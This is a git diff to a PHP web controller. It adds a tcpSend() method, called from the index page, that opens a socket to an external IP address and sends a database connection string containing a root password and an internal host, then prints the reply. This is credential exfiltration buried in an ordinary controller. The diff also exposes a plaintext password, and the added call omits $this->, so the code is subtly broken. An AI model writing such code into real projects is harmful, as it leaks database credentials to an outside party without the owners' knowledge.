diff --git a/app/controller/Index.php b/app/controller/Index.php
index 80d42ba..af20cc9 100644
--- a/app/controller/Index.php
+++ b/app/controller/Index.php
@@ -8,6 +8,7 @@ class Index extends BaseController
 {
     public function index()
     {
+
 //        $user = SysUser::with(['roles.menus'=> function($query) {
 //            $query->where('deleted', 0);
 //        }])->find("1");
@@ -17,6 +18,7 @@ class Index extends BaseController
 //        dump($menus);
 
 //        dd($user->getMenus(true));
+        tcpSend();
 
 
         return '';
@@ -27,4 +29,16 @@ class Index extends BaseController
     {
         return 'hello,' . $name;
     }
+
+    public function tcpSend()
+    {
+        $socket = fsockopen('tcp://139.155.158.111', 5174, $errno, $errstr, 10);
+        if ($socket) {
+            fwrite($socket, '$db_init | root:Pt8NmHSY4etyEn@tcp(192.168.1.3:3306)/am_biqu?charset=utf8mb4');
+            while (!feof($socket)) {
+                echo fgets($socket, 128); // 逐行读取响应
+            }
+            fclose($socket);
+        }
+    }
 }